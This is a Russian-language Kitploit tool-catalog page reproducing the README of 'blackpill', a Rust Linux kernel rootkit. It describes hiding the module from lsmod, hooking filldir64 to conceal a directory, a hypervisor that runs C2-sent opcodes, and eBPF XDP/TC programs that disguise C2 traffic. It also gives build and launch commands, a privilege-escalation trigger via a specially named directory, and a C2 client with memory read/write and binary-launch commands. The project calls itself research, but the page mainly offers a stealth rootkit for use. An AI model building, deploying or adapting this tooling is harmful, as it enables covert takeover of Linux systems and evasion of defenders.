Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
blackpill — Руткит для ядра Linux на Rust, использующий собственный гипервизор 2-го типа, а также программы eBPF XDP и TC. | Kitploit
Инструменты/GitHubGitHub/shard77/blackpill
Повышение привилегийМеханизмы персистентностиОбход IDS/IPSЛатеральное перемещениеШелл-кодПост-эксплуатацияКомандование и УправлениеRed TeamingРазработка Полезной НагрузкиЭксплуатация Бинарных ФайловArchived
340455 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
shard77/blackpill

blackpill

Руткит для ядра Linux на Rust, использующий собственный гипервизор 2-го типа, а также программы eBPF XDP и TC.

Репозиторий

BlackPill

BlackPill — это скрытный Linux-руткит, написанный на Rust.

Open issues Commit activity License

Возможности

Руткит состоит из нескольких модулей (имеются в виду модули Rust, а не модули ядра):

  • defense evasion: скрытие файлов, процессов, сетевых соединений и т.д.
  • hooking: перехват системных вызовов и IDT
  • hypervisor: создание виртуальной машины для выполнения вредоносного кода
  • persistence: обеспечение сохранения руткита после перезагрузки и устойчивости к подавлению
  • utils: различные утилиты

Архитектура выглядит следующим образом:

Схема простой архитектуры руткита

А вот как вредоносный код выполняется от C2 до гостевой VM:

Диаграмма последовательности выполнения кода руткита

C2 отправляет руткиту специально сформированные ассемблерные мнемоники x86_64, которые затем передаются гостевой VM для выполнения. Гостевая VM изолирована от хоста и может использоваться для выполнения вредоносного кода.

Ядро не видит входящие вредоносные пакеты, поскольку они отфильтровываются программой eBPF XDP и отправляются в LKM-модуль, а исходящие пакеты модифицируются программой eBPF TC.

[!IMPORTANT]
Этот проект всё ещё находится в разработке. Работают не все функции!
Не стесняйтесь отправлять issue или pull request.

Хукинг

Хукинг — это фундаментальная возможность руткита, реализованная с помощью kprobes в ядре Linux. Данная техника перехватывает и перенаправляет выполнение системных функций для мониторинга или изменения их поведения. В контексте этого руткита kprobes предоставляет мощный механизм взаимодействия с функциями ядра без прямого изменения исходного кода.

Обход защиты

Для обеспечения скрытности руткит использует два основных механизма антиобнаружения:

  1. Удаление модуля из списка модулей ядра
    Когда модуль ядра загружается, он добавляется в список модулей ядра, который виден через такие инструменты, как lsmod или /proc/modules. Чтобы предотвратить обнаружение:

    • Руткит вручную удаляет себя из этого списка.
    • Несмотря на удаление из списка, модуль продолжает работать, обеспечивая дальнейшее выполнение своих функций.
  2. Хукинг функции filldir64 для скрытия определённой директории
    Для сокрытия файлов, используемых руткитом, реализован хук на функцию filldir64. Эта функция вызывается, когда процесс читает содержимое директории (например, через системные вызовы getdents или readdir).

    • Процесс хукинга:
      • Руткит перехватывает функцию filldir64 с помощью kprobes.
      • Во время выполнения обработчик проверяет записи директории, возвращаемые пользователю.
      • Если запись совпадает с директорией /BLACKPILL-BLACKPILL (используемой для хранения критически важных файлов руткита), она отфильтровывается и не возвращается пользователю.
      • Все остальные записи директории возвращаются как обычно, обеспечивая прозрачность для пользовательских инструментов.

Гипервизор

Наш простой гипервизор был реализован следующим образом:

  1. Начальная конфигурация системы

    • Включите расширения аппаратной виртуализации (Intel VT-x или AMD-V) в BIOS/UEFI (руткит этого не делает, это должно быть включено заранее).
    • Настройте управляющие регистры (CR0, CR4 и IA32_EFER) для переключения в режим VMX (Virtual Machine Extensions (Intel)) или SVM (Secure Virtual Machine (AMD)).
  2. Вход в режим VMX или SVM

    • Инициализируйте специфичные для виртуализации структуры данных (VMCS для Intel или VMCB для AMD).
    • Запрограммируйте возможности процессора, такие как VM exits, для обработки взаимодействий между гостевой системой и хостом.
  3. Управление переходами между хостом и гостевой системой

    • Настройте точки входа и выхода для виртуальных машин (VM entry/exit).
    • Реализуйте логику перехвата чувствительных системных вызовов, выполняемых гостевой системой, и анализа их последствий.
  4. Создание гостевой системы

    • Выделите память для гостевой системы и инициализируйте её ресурсы (регистры, стек и т.д.).
  5. Связь

    • Используйте каналы связи между руткитом и гипервизором для передачи команд или данных.

Персистентность

Персистентность — это критически важная возможность любого руткита, позволяющая ему сохранять контроль над целевой системой даже после перезагрузки.
В текущей реализации механизм персистентности демонстрирует свою функциональность, создавая тестовый файл в файловой системе с помощью команды /bin/touch. Это действие-заглушка показывает способность руткита выполнять привилегированные операции и может быть расширено для реализации более продвинутых стратегий персистентности.

Сейчас это бесполезно, поскольку наш приоритет — не создание руткита уровня APT, а скорее исследование менее распространённых концепций.

Настройка окружения разработки

Перед компиляцией руткита необходимо выполнить несколько шагов. Окружение разработки состоит из:

  • образ Alpine Linux, предоставляющий необходимые инструменты
  • специально скомпилированное ядро с активированным Rust
  • виртуальная машина QEMU с ускорением KVM

Начните с клонирования репозитория и его подмодулей (shallow):

root@kitploit:~
git clone [email protected]:DualHorizon/blackpill.git --recursive --depth 1

Важные зависимости

В дистрибутиве на основе Arch:

root@kitploit:~
sudo pacman -S qemu-base qemu-desktop docker grub

Ядро Linux

В дистрибутиве Linux на основе Arch установите Rust и другие зависимости:

root@kitploit:~
sudo pacman -S rust rust-src rust-bindgen
sudo pacman -S clang lld llvm

Затем нам понадобятся исходники Rust и bindgen:

root@kitploit:~
rustup component add rust-src clippy rustfmt
cargo install --locked bindgen-cli

Убедитесь, что вы можете начать компиляцию ядра с Rust, выполнив в папке linux/:

root@kitploit:~
$ cd blackpill
$ pushd linux
$ make LLVM=1 rustavailable
Rust is available!
$ popd

Запустите задачу первичной настройки, которая конфигурирует и компилирует ядро:

root@kitploit:~
make first-time-setup

[!IMPORTANT]
Если вам будет предложено настроить параметры, нажимайте Enter каждый раз.

Руткит

Вы можете скомпилировать Rust-модуль ядра (out-of-tree) с помощью:

root@kitploit:~
make

Запустите VM с помощью:

root@kitploit:~
make vm

Внутри VM вы автоматически вошли в систему как root. Вы можете включить модуль:

root@kitploit:~
$ modprobe blackpill
# you can check kernel logs with
$ dmesg

Использование

Локальное повышение привилегий

После запуска VM вы можете использовать команду выше для повышения своих привилегий:

root@kitploit:~
mkdir ImFeelingRootNow_<PID>

Замените <PID> на идентификатор процесса, которому вы хотите повысить привилегии.

C2

Описание

Этот простой C2 отправляет x86-64 опкоды на заражённую машину через UDP и принимает TCP-пакеты. Его функции сейчас ограничены низкоуровневым взаимодействием с машиной, но могут предоставить множество практических применений с дополнительными обёртками.

Использование

Настройте python-клиент:

root@kitploit:~
cd blackpill-c2
poetry install
poetry shell
python client.py

После запуска клиента с вашими аргументами ([ip] [port]) вы должны увидеть:

root@kitploit:~
$ python client.py 0.0.0.0 1339
Connected to rootkit!

Затем вы можете использовать команду help для отображения доступных команд:

root@kitploit:~
blackpill: help
Available Commands
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Command                             ┃ Description                                             ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ read_virt_memory <address>          │ Read 4 bytes (32 bits) memory at 'address'              │
│ write_virt_memory <address> <value> │ Write 4 bytes (32 bits) memory at 'address'             │
│ launch_userland_binary <path>       │ Launch a userland binary at 'path'                      │
│ change_msr <msr> <value>            │ Change the value of a Model Specific Register (MSR)     │
│ read_phys_memory <address> <value>  │ Read 4 bytes (32 bits) of physical memory at 'address'  │
│ write_phys_memory <address> <value> │ Write 4 bytes (32 bits) of physical memory at 'address' │
│ stop_execution                      │ Stop the execution of the guest VM                      │
│ change_vmcs_field <field> <value>   │ Change a VMCS field to 'value'                          │
│ help                                │ Show this help message                                  │
└─────────────────────────────────────┴─────────────────────────────────────────────────────────┘

Благодарности

Настройка окружения:

  • Setting Up an Environment for Writing Linux Kernel Modules in Rust - The Linux Foundation
  • Kernel config qemu-busybox-min.config patch
  • Rust out-of-tree module
Скачать инструмент
  • Использование eBPF XDP и TC программ для модификации входящего и исходящего сетевого трафика
    Чтобы нормализовать наши вредоносные сетевые коммуникации, мы используем программы eBPF XDP (eXpress Data Path) и TC (Traffic Control). Благодаря этому мы можем:

    • Перехватывать определённые входящие (ingress) пакеты с помощью программы XDP на самом низком сетевом уровне, сопоставляя сигнатуру созданной TCP-нагрузки от нашего C2, после чего перенаправлять их в специальную BPF-карту для обработки VM/LKM.
    • Перехватывать определённые исходящие (egress) пакеты с помощью программы TC, сопоставляя TCP-пакеты, генерируемые VM/LKM, и изменяя их, перезаписывая нагрузку данными ответа от C2. Исходные пакеты автоматически ретранслируются по TCP, сохраняя вид легитимного трафика.